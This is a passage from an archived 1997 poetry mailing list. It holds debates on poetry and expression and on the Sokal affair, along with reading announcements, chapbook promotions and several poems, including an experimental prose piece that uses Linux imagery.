> *1.6 No Saints in Three Acts: On Steven Jonas by Aldon L. Nielsen*
> *1.5 'Imperturbable Things': On Still-Life Poetics by Beth Anderson*
> *1.4 Responses to Bob Perelman's _The Marginalization of Poetry_ by Silliman, Lauterbach, Spahr, and Evans; with counter-response by Perelman**
> *1.3 The Ground Is the Only Figure by Rosmarie Waldrop*
> *1.2 Radical Dogberry and Society Sketches: Two Essays by Chris Stroffolino*
> *1.1 The Dynamics of Literary Change by Steve Evans (*in rpt)*
>
> *Steve Evans & Jennifer Moxley*
> *61 E. Manning Street*
> *Providence RI 02906-4008*
> *ILS at the EPC <http://writing.upenn.edu/epc/presses/impercipient_lecture.html>*
>
> *r i a t n m u*

> *?*
> *a t s u o o o s*

↑ Index

332. Sylvester Pollet
Re: Defining / Expression
Wed 15 Oct 1997

#1 was a poem, #2 was verse. I like to think of it as a train--sometimes I express, sometimes I local.

> *I have used expressive language:*
>
> *scene 1:*
>
> *2 o'clock in the morning. No one in sight. I walk through the ratty parking lot looking for my car. I find it, reach for my keys. They're not there. They are locked in the car.*
>
> *I kick the tire, I slam my fist on the hood. I curse the car, I curse myself, I curse God. I use exuberant obscenities throughout. I am utterly without company.*
>
> *But what does this have to do with poetry?*
>
> *scene 2:*
>
> *My nerdy neighbor with lots of disposable income considers me a poet, and commissions me to write a love poem directed to his beloved. I go get my book of 500 favorite love poems and do a little research. Then I sit down to work, and in a couple of hours I produce a hallmark-lovely little poem. Let's say $500 US [maybe less].*
>
> *The language used in this poem is not expressive, since I had no feelings to vent whatsover as I wrote them down. I was paid to evoke these feelings in my target [victim], not to express myself. I call this evocative language [and writers and politicians are fond of this sort of language too].*
>
> *Now Henry Gould is going to deny that my hallmark-lovely little poem is a poem, because something or other is missing in it. Henry, I'll admit that it is a bad little poem [not worth $500 US, really, at least to the members of this list], but it's still a poem in my view.*
>
> *You find all sorts of things in poems, most of them predictable, some startling, but what is essential?*
>
> *Self-expression? the expression of anything? evocation? feelings of*

> *fellowship with all things great and small? a political or a social conscience? metaphor? meaning? message?*
>
> *I can think of poems in which each and every one of these things is absent. So what after all is essential?*
>
> *Well, never mind. But I think all poetry fetishizes language, by definition.*
>
> *But I'm willing to negotiate.*
>
> *George Thompson*

↑ Index

333. **George Thompson**
Re: ILS 1.8/Watten on the (Assembly) Line
Wed 15 Oct 1997

Sorry,

Of course, that last post from me was meant for Steve Evans.

Well, it could have been worse. It could have been a snapshot of Bromige messing around with Bowering's house pets.

GT

↑ Index

334. **Maria Damon**
Re: ILS 1.8/Watten on the (Assembly) Line
Wed 15 Oct 1997

---

as a former house pet of george bowering, i appreciate your fine sense of discretion. what bowering is omitting, of course, are his own predilections for the more untamed species that dwell on the great tundras and wildernesses. hence his deep attraction to canada.

At 10:38 AM -0400 10/15/97, George Thompson wrote:
>Sorry,
>
>Of course, that last post from me was meant for Steve Evans.
>
>Well, it could have been worse. It could have been a snapshot of Bromige
>messing around with Bowering's house pets.
>
>GT

↑ Index

335. **p. durgin**
Re: Defining / Expression
Wed 15 Oct 1997

No negotiations nec. This pinpoints it absolutely. Content schmontent and expression schexpression. Poetry, as a literary genre, must have as its overriding focus, the utilization of the language, which is not to be confused with the "tounge" from which it was sprung.

|||[redacted]|||

_____

On Wed, 15 Oct 1997, George Thompson wrote:

> *Well, never mind. But I think all poetry fetishizes language, by definition.*

↑ Index

336. **Joseph Conte**
Dictionary of Literary Biography
Wed 15 Oct 1997

Dear Poetics Listmembers:

I'm in the home stretch of editing a three-volume series of the _Dictionary of Literary Biography_ on American Poets Since World War II. (That rubric includes all of North America and its native inhabitants, for our Canadian friends on the list).

Because a few of the entries for this volume have not been forthcoming, I'm looking for two or three new contributors who would be willing to write a 5000 word entry on a contemporary (N.) American poet (who has not already been treated in recent _DLB_ volumes). Rewards are modest: a $100 honorarium and a copy of the hardcover volume that sells to libraries and institutions for about $150.

Also, time is short. Production on the volume will probably begin in December, so anyone interested will have to produce their entry by no later than December 15, 1997.

A sampling of the entries currently already included in this volume (some by or about Poetics Listmembers, I might add):

John Cage, by Rod Smith
Anne Carson, by Steven Marks
Robert Duncan, by George Butterick and revised by Robert Bertholf
Ann Lauterbach, by James McCorkle

Jackson MacLow, by Bruce Campbell
Bob Perelman, by Steven Evans
Leslie Scalapino, by Elisabeth Frost
Barrett Watten, by Jacques Debrot

If you're interested in contributing, and can work within the deadline, please contact me backchannel:

[redacted]

Thanks.

Joseph Conte

↑ Index

337. **mark weiss**
Poetry sites
Wed 15 Oct 1997

A plea for help--I need suggestions of other poetry sites on the web that would be amenable to announcements of new books.

↑ Index

338. **Aldon Nielsen**
Re: scolded & didnt know it
Wed 15 Oct 1997

Glad to see this early sign of "el nino" signed DB

↑ Index

339. **David Benedetti**
Re: "no more language-bashing" bromige post
Wed 15 Oct 1997

Bromige's statement on "no more language-bashing":

> *. . . But Language-writing has left the planet, the way Imagism left the planet (except for _Poetry (Chicago)_ & various "sunday-painting" clubs) by 1929. That Language-writing parrot is a dead parrot. That parrot has been transformed into its future molecules. And so it follows that, dead & gone, Language-writing cannot exist as an object of bashery. They dont want to go on about "the tensile strength of last winter's icicles". If a poem offend thee in the present, pluck it out. But look to thine own eye, that its mote not be bigger than a beam. In short, people will have to do something else with their Oedipal longings . . .*

struck me as insightful, especially as he mentioned the "Oedipal longings" connected with LangPo bashing. The first chapter of my dissertation took on the issue of why people (in general) dislike poetry--and bash LangPo especially--and I drew parallels to (or commented on) the Oedipal rivalry as being a significant part of that bashing. I argue that part of the threat presented by LangPo to some readers comes from LangPo's refusal (or neglect) of participation in the usual Oedipal rivalries set up in the "understanding" or "meaning production" of (the reading of) the poem.

This chapter of my dissertation has also been reworked and will appear in Poetics Journal as "Fear of Poetic Knowledge," hopefully late this year (according to my last comunication with Barrett Watten). So, to extend the discussion....
--David Benedetti

↑ Index

340. Andrew D Epstein
Creeley reading, NYC
Wed 15 Oct 1997

For those of you in the New York area, here's an announcement:

THE F. W. DUPEE POETRY READING SERIES PRESENTS

ROBERT CREELEY

Introduced by Kenneth Koch
Thursday, October 23
8 PM
Maison Francaise
Columbia University
116th & Broadway (1 or 9 subway)

Admission Free

Please contact me if you have any questions ... Hope to see you there!

Andrew Epstein

↑ Index

341. Jena Osman
yet another reading in nyc
Wed 15 Oct 1997

I'll be reading with Fiona Templeton at St. Marks Church
Wed., Oct. 22, 8:00.
I hope some of you can make it.

Jena Osman
[redacted]

↑ Index

342. Christopher Alexander
nominative press collective nouns...
Wed 15 Oct 1997

---

announcing the publication of 2 new chapbooks
from nominative press collective!

--

by postcard: beloved series Rachel Daley

edition of 40. 5.5 x 6.5", hand-sewn, heavy coverstock
w. mylar endpapers; 20 printed pp.; illustration by
Rachel Daley & Christopher Alexander.

$4 / $7 institutional

--

-ocracy 8 & 9 Peter Ganick & Sheila Murphy

2 parts of the ongoing collaborative project

edition of 120. 5.5 x 8.5", saddle stapled, heavy
coverstock; 16 printed pp.; available in 5 different
covers! cover art by CT artist Cherie Mittenthal.

$3 / $5 institutional

--

!! samples may be viewed via the www @
http://choengmon.lib.utah.edu/~calexand/nonce/
(please come check out the newly revamped site!)

thanks! Chris

..
Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
www: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

343. David Benedetti
Denver
Wed 15 Oct 1997

On Mon, 13 Oct 1997, Joe Amato/Kass Fleisher wrote:

> "sometimes i feel like a sad song"
>
> john denver
>

I prefer

"I'm leaving on a jet plane..."

--John Denver

↑ Index

344. Christopher Reiner
Re: Poetry sites
Wed 15 Oct 1997

This is probably as good a time as any to announce an upcoming web page that will be designed especially for announcements of new books from literary presses. It's still under construction, so I don't want to give out the address, but if anyone wants to announce a book published in the last two months, please email me at

[redacted]

Literary mags also welcome.

I haven't worked out the particulars yet, but please try to keep announcements to 100 words or less. If there's a web site link or an email address for more info, please include it.

More details in the next week or so.

--Chris Reiner

[redacted]

On Wed, 15 Oct 1997, mark weiss wrote:

> *A plea for help--I need suggestions of other poetry sites on the web that would be amenable to announcements of new books.*

↑ Index

345. **Pam Brown**

Shameless promotion

Wed 15 Oct 1997

Announcing (shamelessly) my latest book (on behalf of the distributor AWOL):-

>
>50 - 50
>Pam Brown
>Published by Little Esther Books
>
>Pam Brown is a leading and longstanding member of that disorganised band -
>the radical opposition in Australian poetry.
>
>Her work has been much anthologized, her Selected Poems has gone into a
>number of editions - all without the ignominy of school syllabus status
>- and her writing is a touchstone amongst our best poets
>
>Astringent, abrasive, lyrical, aphoristic, insouciant, elegiac, critical,
>clear-eyed, hard-bitten, relaxed, discomforting, amused & amusing, louche &
>grave.
>
>Her many books include Cafe Sport (Sea Cruise), Keep It Quiet, prose
>(Redress/Wild & Woolley), and many others now out of print - as was her
>Selected Poems, updated and reissued by Wild & Woolley as New and Se-
lected.
>More recently a further poetry collection, This World, This Place, was
>published by UQP.
>
>'50-50' isbn 0 646 32225 7 available through the AWOL Virtual
>Bookshop for Australian $15.95 plus $1.00 handling
>and postage.
>

http://www.ozemail.com.au/~awol/

> *'50-50' is available through the AWOL Virtual Bookshop. To order your copy simply print out this message and send it, together with your payment ($15.95 plus $1.00 postage and handling total $16.95), to AWOL, PO Box 333 Concord NSW 2137.*
>
> *Your name:.....*
>
> *Your address: .....*

> *Note. Overseas orders please contact us by email for overseas rates.*
> [redacted]
> **********
>
> **********
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 015063970*
> *Fax 61 2 97472802*

↑ Index

346. **Bob Grumman**

Re: Defining / Expression

Wed 15 Oct 1997

Sylvester Pollet wrote:
>
> #1 was a poem, #2 was verse. I like to think of it as a train--sometimes I
> express, sometimes I local.
>
> >I have used expressive language:
> >
> >scene 1:
> >
> >2 o'clock in the morning. No one in sight. I walk through the ratty parking
> >lot looking for my car. I find it, reach for my keys. They're not there.
> >They are locked in the car.
> >
> >I kick the tire, I slam my fist on the hood. I curse the car, I curse
> >myself, I curse God. I use exuberant obscenities throughout. I am utterly
> >without company.

> >
> >But what does this have to do with poetry?
> >
> >scene 2:
> >
> >My nerdy neighbor with lots of disposable income considers me a poet, and
> >commissions me to write a love poem directed to his beloved. I go get my
> >book of 500 favorite love poems and do a little research. Then I sit down
> >to work, and in a couple of hours I produce a hallmark-lovely little poem.
> >Let's say $500 US [maybe less].
> >
> >The language used in this poem is not expressive, since I had no feelings
> >to vent whatsover as I wrote them down. I was paid to evoke these feelings
> >in my target [victim], not to express myself. I call this evocative
> >language [and writers and politicians are fond of this sort of language
> >too].
> >
> >Now Henry Gould is going to deny that my hallmark-lovely little poem is a
> >poem, because something or other is missing in it. Henry, I'll admit that
> >it is a bad little poem [not worth $500 US, really, at least to the members
> >of this list], but it's still a poem in my view.
> >
> >You find all sorts of things in poems, most of them predictable, some
> >startling, but what is essential?
> >
> >Self-expression? the expression of anything? evocation? feelings of
> >fellowship with all things great and small? a political or a social
> >conscience? metaphor? meaning? message?
> >
> >I can think of poems in which each and every one of these things is absent.
> >So what after all is essential?
> >
> >Well, never mind. But I think all poetry fetishizes language, by definition.
> >
> >But I'm willing to negotiate.
> >
> >George Thompson

I don't know what any of your are talking about when you use the word "expression." And I mean all the many posts on this subject. For me text #1 is a prose expression of what happened to someone regarding his car, #2 is the expression in poetry of sentiments concerning love--which don't happen to be shared

by the writer of the poem, which is irrelevant. My Merriam Webster's Collegiate Dictionary gives DEPICT, DELINEATE, to represent in words: STATE, to give or convey a true impression of: SHOW, REFLECT. I feel benighted. Where iz I off?

--Bob G.

↑ Index

347. **George Thompson**
Re: Defining / Expression
Wed 15 Oct 1997

Bob Grumann said:
>
>I don't know what any of your are talking about when you use the word
>"expression." And I mean all the many posts on this subject. For me
>text #1 is a prose expression of what happened to someone regarding his
>car, #2 is the expression in poetry of sentiments concerning love--which
>don't happen to be shared by the writer of the poem, which is
>irrelevant. My Merriam Webster's Collegiate Dictionary gives DEPICT,
>DELINEATE, to represent in words: STATE, to give or convey a true
>impression of: SHOW, REFLECT. I feel benighted. Where iz I off?
>
> --Bob G.

Bob,

I'm benighted too. That's why my post. That ain't poetry in # 1. That's naked wrath, and a car. Whereas # 2 is poetry, bad poetry, to be sure, but poetry nevertheless. I think that some of us tend to confuse what poetry *is* with what it *should be*. Like you [and P. Durgin, et al.], I 'm looking for a little clarity here. Not sermons or manifestos.

As for EXPRESS, I think I know that verb, and as far as I'm concerned its territory is not the same as poetry's.

George

↑ Index

348. **groberts**
Re: Defining / Expression
Wed 15 Oct 1997

"Idling"

Elbows propped
upon knees.

    Like a two-door sedan
    pulled up on the lawn.

One good hit
from the peace pipe.

    Like a warm car cooling off
    inside its own garage.

Hands behind head,
head back, feet up.

    Like an original paint job
    renewed by a fresh coat of rain.

No one else
at home for hours.

    Like the only vehicle left
    overnight in the plaza parking lot.

Gary R.

↑ Index

349. **Bob Grumman**
Re: Defining / Expression
Wed 15 Oct 1997

George T:

I'd agree with you that "EXPRESS's . . . territory is not the same as poetry's" if you changed "the same as" to "coterminous with." But surely the territories overlap? --Bob G.

↑ Index

350. **Tom Beard**
Re: SoKalled
Thu 16 Oct 1997

> *I practically had a stroke when you compared Keat's "Negative Capability" (?) to the scientific method. Didn't Keats say "Beauty is Difficult." I know he didn't say "Beauty is Simple" or "Elegant."*

Well, I suppose it wasn't Keats, but his Grecian Urn that said "Beauty is Truth, Truth Beauty!". He was probably criticizing that aesthetic, not falling for it as I claimed, so you're entitled to your stroke.

I'd agree that "it is not a primary or even tertiary concern of science to create beauty", but I think that science can and does "create the conditons and criteria for beauty" from time to time. What used to be a tacit understanding among scientists that beauty=simplicity=truth is now fading, in part because of new studies in chaos theory and fractal geometry (self-similar figures are no longer seen as "monsters"). We could argue forever about whether the transition from Euclidean to Mandelbrotian geometry as an aesthetic touchstone is driven by similar changes in architecture, typography and other arts, or whether the studies by scientists, mathematicians and algorithmic artists (for want of a better phrase) have helped shift the aesthetic themselves.

> *Your apparent admiration of Sir Karl indicates to me just how far apart we are on these matters.*

Well, we'll just have to leave it there, then. But for me, Popper has been an important influence, and his concept of falsification provides a much more accurate reflection of how scientists actually work than other theories I've read. It captures the tentative, provisional nature of scientific knowledge, in a way that accords much better with postmodern viewpoints than most would realise.

Tom Beard.

↑ Index

351. David R. Israel
Re: Defining / Expression
Thu 16 Oct 1997

---

yo,

quoth George Thompson:

> *You find all sorts of things in poems, most of them predictable, some startling, but what is essential?*
>
> *Self-expression? the expression of anything? evocation? feelings of fellowship with all things great and small? a political or a social conscience? metaphor? meaning? message?*
>
> *I can think of poems in which each and every one of these things is absent. So what after all is essential?*

This was addressed by a Sung dynasty poet -- I think it was Yang Wan-li, but wouldn't swear by it (poss trans. by Jonathan Chaves, among others, but ditto) -- sorry my recollections not as clear as the poem merits, but it goes something like this --

If you say that poetry [shi] resides in words [yan, expression] take away the words -- & the meaning [yi, idea] yet remains if you say that poetry resides in meaning take away the meaning -- & the poetry still remains

the relationship between
word / expression [yan]
meaning / idea [yi]
and poetry [shi]
is thus indeed quizzical & elusive, -- if I follow Mr. Yang aright.

This little poem also suggests a layers-of-the-onion aspect:

If you say that the poem is what you find as an onion
take away the outer layer -- there's still an inner layer
if you say that the poem is that inner layer, then (Yang says)
take away even that -- and lo! -- poetry is still with us

This is certainly a mystical & wistical definition of poetry. Not the most useful for cobbling forth techno-criteria. But still suggestive, eh?

d.i.

```
 .
 .....
 ............
 \\\\
```

> follow behind with his cases of champagne and his tents and his gramophone.

Hmm, if only it were that easy! "Exploration" certainly is a loaded term, as is "experimental" (and I don't want to get into that again). Leaving aside (if we can) the image of the Colonialist White Male in lab coat and pith helmet, I think of the words "explore" and "experiment" (in this context) more in terms of a newborn, trying out his/her emotional limbs, thinking "What the heck is this? It feels kind of squishy. Ouch! It doesn't bend that way, does it?". The writing is a trace of the writhing.

> I do suspect, however, that there is a
> lot going on which "an exploration of personal emotion" misses, because it
> still puts the act of writing outside of the emotion, the self, the
> perception, or whatever tools we are using at the time.

I don't see it this way. If the writing is the exploration, then the writing occurs "within" that which is explored. Expression, however, sounds to me like something is being squeezed through the writing, and hence the writing encompasses and controls it.

tom bell wrote:

> Your comments started me thinking of the therapeutic parallels (for better or
> worse I am such by trade). Words such as expressive (i wrote sexpressive even
> though i am not a freudian) tend to put people off and are really not adequate
> to explain what happens. It is more of an experiencing of feeling through the
> action of expressing or experiential/construction. Both experiential and
> construction are valid and lively forms of therapy. I have not really seen
> much on the topic of experiential and/or constructive poetry even though i am
> aware of it's description by individual poets. If anyone is still with me
>through my jargon here, I would appreciate information on sources.

Though some people are allergic to the idea of poetry as therapy, you are obviously looking at it from a much more serious perspective than your average open mike "I suffered so it must be a poem" type. It comes close to the reasons why I've chosen poetry rather than linear, denotative prose. I've found that giving a name to an experience ("Oh, that was

betrayal/anger/joy/desire/whatever") tends to nail down what had been a nebulous set of impressions, solidify that which had been fluid. From then on, when I think back to the original events, all I get is a memory of my memories, or the narrative that I had constructed out of them. Subsequent experience cannot help to reform the experiences, since they have already been petrified by denotation.

Some of my friends have accused me, when I use deliberate ambiguity in a poem, of toying with words for their own sake, but it is my way of remaining honest. Not only does it make the poem (I hope) a more open experience for the reader, but also for myself. When readers can find something in my poems that I hadn't noticed myself, I am delighted and intrigued, not only because it means that the field of meanings is expanding beyond my intentions, but also because it can send me back to a re-consideration of my self and the events in my life. Sometimes this has been an enlightening experience; sometimes chastening.

Tom Beard.

↑ Index

353. Alan /dev/null Sondheim

Dusk, Turning Dawn

Thu 16 Oct 1997

-

Dusk, Turning Dawn

Jennifer and Julu, their accounts open on my machine, remain silent, no longer locked within the interstices of the linux operating system. There has been no updating of files, no checkpointing for the system as a whole, no logs sent by cron over to the mail; linux is emptied, dark corridors, remaining for the return.

To return to a system awaiting, to enter the portal of the system, to log in, to challenge and enter the password, to _pass._

To pass against all tests, to continue past all fiery tests, to look for the files subtlely moved, ownerships maintained or transformed. But linux sleeps for now, games unplayed, Jennifer and Julu no longer present, ex- cept by proxy, the forms of speechlessness. I quietly walked through the dark forest, in search of Indian Pipe pale and translucent near the bur- nished ground:

my-skin-for-you...
my-skin-for-you...
calls forth contrary womb,
calls forth contrary womb,
eating, excreting memory.

eating, excreting memory.
confusing the protruding, my-skin-for-you... is pure, protruding, yes, my beautiful flower? ... womb is eyelid here, it's womb?

Are you becoming close to Jennifer's my-skin-for-you...?
yes...
yes...
yes...
You melt into Julu's skin forever...

For 4 giving days, I have been catatonic Julu ...
and it has taken you just 1.183 minutes turning Jennifer ...
and it has taken you, just ...

my-skin-for-you...:yes, my beautiful flower:belonging:skin: Would belonging mind you partying, my-skin-for-you..., with us? Your contrary pale is in my protruding eyelid Ah, womb eaten by julu-of-the-open-arms and julu-depressed

But I have walked through the forest and the shadow. And I have known that, verily, shadows have shadows themselves, thinned, drawn like absent lamina around the coloration of the earth turned dark. And I have seen the arches of proper names collapsed, redundant upon the moist ground, tender. And I have known the earth, inchoate, slowly brought to its knees of roots and flowers, toes of branches and leaves, mouths like tendrils, tendrils

But I have shadowed myself, dark eyes narrowed by kohl, henna zagged across forehead and cheek, eyeglass silvered slivered with fine lines portending the reach of light unto me. For I have looked with open mouth, waiting for the descent of angels. For the earth rings like a great chime, dust and sand, red desert earth moving into platelets of mysterious patterns whispering your name. For Jennifer-and-Julu-for- saken are but names picked from a pretty penny, drawn from a rabbit, placed on a hat. For I say unto you, the skull is a universe, the brain an especial resonance, your eyes suns and moons, branches and toes. For the machine cools, disks spinning to a halt, fan already stilled in the nighttime sky

And for but I am a webbed creature, turned to pure light

↑ Index

354. **R. Gancie**
SoKalled
Thu 16 Oct 1997

Tom: Sorry, but a couple of things that have been nagging at me. Weinberg should listen to himself---"Two cheers for reductionism!" does not comport with his statement concerning sciences "one to one correspondence with reality." Apropo Sokal. None of us geniuses has mentioned that Hubert Dreyfus pulled a Sokal on the A.I. community in the early eighties and the A.I. community didn't like it. Trace the history of that situation with the current debacle and you can see the role that economic and political clout makes in these confrontations. Finally, Joe, Tom, anyone. I don't want to make too much of the 'Metaphor' metaphor. But systems of quantification and formalization are in a sense metaphorical. They illuminate by addressing a limited part of an ontology. Technologies are created from numerical metaphors that approximate the actual conditions they address. Reductionism is only the most obvious condition and result of this process. Also, the historical mutability of technology and theory alike, though most often given a positivist/progressive slant through advertising phrases such as technological change, mask the fact that this mutability is fundamentally unpredictable except in some closed systems (and this includes advances in chaos theory---see Penrose or myself). Unpredictability is the consequence of the discretions and reductions necessary to imagine Weinberg's "one to one correspondence" and to produce technologies. Technologies are the historically fundamental reasons for having these imaginings. The mutability of science itself is fundamentally unpredictable because of the contingent necessity of its own imposed limitations of discretions and reductions. This is the way all metaphor operates. The mutability of science is fundamental not its alleged progressiveness. Poets know more about metaphor and other attendant aesthetic criteria than anybody else. In the history of mankind, technologies have always had these negative and banal consequences. Its just now because of huge technological demands by unprecedented populations spurred on by the greed of a few people who are wealthy beyond obscenity, that the inherently negative attributes of systems of quantification/formalization/mathematization/scientific methods become globally obvious. That's why attempts to squash even weak, ineffectual criticisms pisses me off.---Carlo Parcelli

↑ Index

355. **Steven Marks**
Re: Defining / Expression
Thu 16 Oct 1997

Or consider what Ryokan had to say:

Who says my poems are poems?
My poems aren't poems!
Once you get that my poems aren't poems,
then we can start talking about poems.

I love this Mobius strip of a poem.
cheers,
Steven

On Thu, 16 Oct 1997, David R. Israel wrote:

> *If you say that poetry [shi] resides in words [yan, expression]*
> *take away the words -- & the meaning [yi, idea] yet remains*
> *if you say that poetry resides in meaning*
> *take away the meaning -- & the poetry still remains*
>
> *the relationship between*
> *word / expression [yan]*
> *meaning / idea [yi]*
> *and poetry [shi]*
> *is thus indeed quizzical & elusive, -- if I follow Mr. Yang aright.*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

356. Charles Bernstein
Philadelphia / NYC Readings
Thu 16 Oct 1997

I will be reading at
The Temple Gallery
45 North 2nd Street
Philadelphia
at 8pm
Thursday, Oct. 23

and at

Here
with Melanie Neilson
at 3pm
Saturday, Oct. 25

145 Sixth Avenue (between Spring and Broome)
Manhattan

↑ Index

357. **Judy Roitman**
Re: Defining / Expression
Thu 16 Oct 1997

> *Or consider what Ryokan had to say:*
>
> *Who says my poems are poems?*
> *My poems aren't poems!*
> *Once you get that my poems aren't poems,*
> *then we can start talking about poems.*
>
> *I love this Mobius strip of a poem.*
> *cheers,*
> *Steven*

"Tao called Tao is not Tao" (Addis/Lombardo translation of Tao Te Ching, but done from memory so the "is" may be extra).

(Near-)contradiction as rhetorical ploy.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

358. **Judy Roitman**
Re: SoKalled
Thu 16 Oct 1997

> *In the history of mankind, technologies have always had these negative and banal consequences.*

Fire. Weaving. Pottery. Writing.

We're human so whatever we do has negative and banal consequences, but surely there are technologies (see above) that have also had other sorts of consequences.

> *the inherently negative*
> *attributes of systems of*
> *quantification/formalization/mathematization/scientific methods become*
> *globally obvious.*
>
> *Carlo Parcelli*

We're human so all of our systems have inherently negative attributes, especially when taken out of the realm where they work. To take a very overworked example, I hope we would not rely on close literary analysis as our main methodology when building a bridge.

Back when I was in high school people made much of C.P. Snow's two culture stuff. There are a lot more than two cultures --- hell, there must be hundreds of cultures within what is commonly lumped together as "science" -- and there's no point dissing any of them.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

359. Harold Rhenisch

Re: Defining / Expression

Thu 16 Oct 1997

Tom,

I agree. Let's leave the Colonialist White Male in lab coat and pith helmet to expressions of his malaria.

As for "exploration", I don't share your confidence in the term. If it needs explanation and elaboration, it's probably not the right term.

You wrote
If the writing is the exploration, then the writing occurs "within" that which is explored.

Sure. Still, I have a nagging doubt that "exploration" suggests that "to explore an emotion" in writing requires a pre-existing emotion which can yield treasures if we move into its space and start describing its characteristics, and that these characteristics exist before the exploration. It misses the sense that the

world, or the perception of it, is being remade. It misses the sense that an emotion is not an emotion until we name it; before that act of naming it appears as the world.

Then again, maybe it is "emotion" that is the limiting factor in this equation. If the poetry does not start from the boundaries set by "emotion" and "exploration", then should the criticism necessarily?

Harold

↑ Index

360. Ira Lightman
Announcement of a gig
Thu 16 Oct 1997

Just to say that my band, "Come Flying" -
acoustic-folk-pop, chords out of Stravinsky,
lyrics out of experimental poetry, are playing:

12 Bar Club
Denmark St
off Charing Cross Road (opp. Foyles)
London

Sunday, Oct 19th, 10pm

Reduced entry with flyer (phone me - too late
for e-mail - on 01603 616708) and I'll mail one
or give it to you in person on the night

All welcome

Ira Lightman

↑ Index

361. Jordan Davis
Poetry City Fall 1997 Schedule print this up and keep it
Thu 16 Oct 1997

POETRY CITY Fall 1997 schedule
Fall 1997 Schedule 5 Union Square West NYC
5 Union Square West NYC Thursdays at 7
Thursdays at 7 except 10/16 at 6:30 free
free poetry food and wine hosted by Anna Malmude
hosted by Anna Malmude and Jordan Davis

10/16* 6:30
David Shapiro
Anne Porter

10/23
R. Zamora Linmark
Jorge Clar

10/30
Alan Sondheim
David Bromige

11/13
Andrea Brady
Jennifer Moxley

11/20
Barbara Henning

12/4
John Kinsella
Keston Sutherland

12/11
Mark Statman
Michael Morse

12/18
Edwin Torres
Baron Ashanti

---

print this up and keep it in your notebook

↑ Index

362. Jordan Davis
Rod Smith / Edwin Torres @ Poetry Project pt 1
Thu 16 Oct 1997

Rod Smith and Edwin Torres read to a 50+ crowd at the Poetry Project at St. Marks Church-in-the-Bouwerie last night.

Lisa Jarnot introduced Smith, citing his playful intelligence, and comparing him to the two poetic figures of the century most dear to her, Robert Duncan and Allen Ginsberg. Jarnot mentioned Duncan and Smith's autodidact-status, and noted that Ginsberg and Smith shared an indefatigable urge to archive and to make opportunities for other poets.

Smith began his reading with a work by Heather Fuller, an author published by his Aerial/Edge Press, "because," he said, "it defeats the heebie jeebies and because I like it." He then dedicated the reading to his son, Joshua, who was killed in a car crash earlier this year.

It would be a mistake to refer to Rod Smith's work as "high discontinuity"--the overwhelming parataxis of it all has something to do with Barrett Watten's _Progress_, and the underlying agenda seems to be something like Charles Bernstein's hope to "[return] us to our senses", but there are significant differences between Smith's work and that of his predecessors. (Would that I could delineate those differences! Ask Kevin Davies, he could tell you.) I'm going to have to jump _arenas_ to find a working artist with similar acuity, namely Stephen Malkmus of Pavement. "Camera-ready, my ass!"

Smith read poems from his books _The Boy Poems_ (Buck Downs Books), _In Memory of My Theories_ (O Books), _A Grammar Manikin_ (Object magazine special number), _Protective Immediacy_ (Potes & Poets), and _The Lack, love poems, targets, flags_ (Abacus magazine). He closed with his terrific poem, "Nothing at all Jerry G."

Eleni Sikelianos introduced Edwin Torres by means of an itinerary -- to travel from Tristram Shandy to Khlebnikov via the Himalayas, was one route.

↑ Index

363. Ted Berrigan
things to do in cranston
Thu 16 Oct 1997

---

now that I've got your attention finally:

Susan Grant & Peter Johnson read
Thurs. November 13, 7:30 pm
Hall Public Library, 1825 Broad St, Cranston
(call [redacted] for directions)

Susan Grant edits THE NEWPORT REVIEW. Peter Johnson edits PROSE POEM; his new book PRETTY HAPPY! will be available at the reading, with other stuff.

Free.
sponsored by The Poetry Mission.
Henry Gould will be there to offer a play-by-play reduction, if he's not in Minneapolis looking for dead poems to resuscitate. [grrrrr]
- Ted Berrigan

↑ Index

364. Loss Glazier
EPC Enhancements
Thu 16 Oct 1997

----- New at the EPC ---------- Recent new developments at the EPC include a Carolyn Bergvall page and recently renovated Hannah Weiner pages. If you have any reviews or related documents you'd like to contribute for these authors, please let me know. Coming soon: the "metalist" of EPC links, soon to be available from "Connects" and other locations within the EPC. Thanks!

↑ Index

365. MAXINE CHERNOFF
Other readings
Thu 16 Oct 1997

On Tuesday, October 21, at 7:30 pm, CD Wright and Paul Hoover will be reading in the Grolier Series, Cambridge MA, intro. by Caroline Knox.

↑ Index

366. Susan Schultz
Re: Tinfish chapbook by Kathy Banggo
Thu 16 Oct 1997

Dear all--Tinfish Network is proud to announce the publication of _4-evaz, Anna_, by Kathy Dee Kaleokealoha Kaloloahilani Banggo, a poet who lives in Wahiawa, on O'ahu, Hawai'i. The chapbook is $4 each, or $3 with a subscription to _Tinfish_ ($13 for three issues). Please write checks to Susan Schultz, 47-391 Hui Iwa Street, #3, Kaneohe, HI 96744.

"How Fo Smoke Like One B-Bat Room Bebe"

pack em firs, den open da wrappa.
no foget fo take out one
turn em ovah, butt up.
az da one fo good luck.
az da one fo make one wish.
save em fo las.

fo make rings
drop your jaws
an open your mout
like you stay
sucking allahs
o sumtin.
snap em out slow

das how dy do
in Koolau.

fo make harts
do da same ting like
I j'wen tell you.
but put your
index fingah
da tip
in front your uppa lip
so your fingah nail
hang down small kine.

if somebody ask
fo drag, make shuah
you tell em no lip em
bumbye come back wet.
if dey weah da kine
planny make-up
da kine cholo lipstick
no need den.

fo see if da boy
you like
like you too,
when pau puff one
turn em upside down
an squeeze da butt.
see da initial?
if match his firs name
get chance. if no mo
try light up two mo times.

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

367. **Thomas Bell**
Re: Defining / Expression
Thu 16 Oct 1997

At 06:02 PM 10/16/97 +1300, Tom Beard wrote:

> *tom bell wrote:*
>
